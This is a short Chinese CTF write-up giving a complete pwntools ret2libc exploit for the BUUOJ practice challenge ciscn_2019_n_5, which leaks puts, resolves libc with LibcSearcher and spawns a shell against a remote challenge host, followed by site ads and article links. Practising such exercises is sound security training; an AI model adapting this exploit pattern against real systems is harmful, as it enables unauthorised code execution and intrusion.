ciscn_2019_n_5 1(puts,64,libc)
非常normal的ret2libc
点击查看代码
from pwn import *
from LibcSearcher import *
io = remote('node5.buuoj.cn',27414)
#io = process('./ciscn_2019_n_5')
elf = ELF('./ciscn_2019_n_5')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_addr=0x0400713
payload1 = cyclic(0x28) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)+p64(main)
io.sendline(b'aa')
#io.sendline(payload1)
io.sendlineafter('me?',payload1)
#puts = u64(io.recvuntil(b'\xf7')[-8:])
#puts = u64((io.recvline().split(b'\x0a')[0]).ljust(8,b'\x00'))
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\0'))
print(hex(puts))
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
pop_ret_addr=0x04004c9
payload2 = cyclic(0x28) + p64(pop_ret_addr) +p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.sendline(b'aa')
#io.sendline(payload2)
io.sendlineafter('me?',payload2)
io.interactive()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人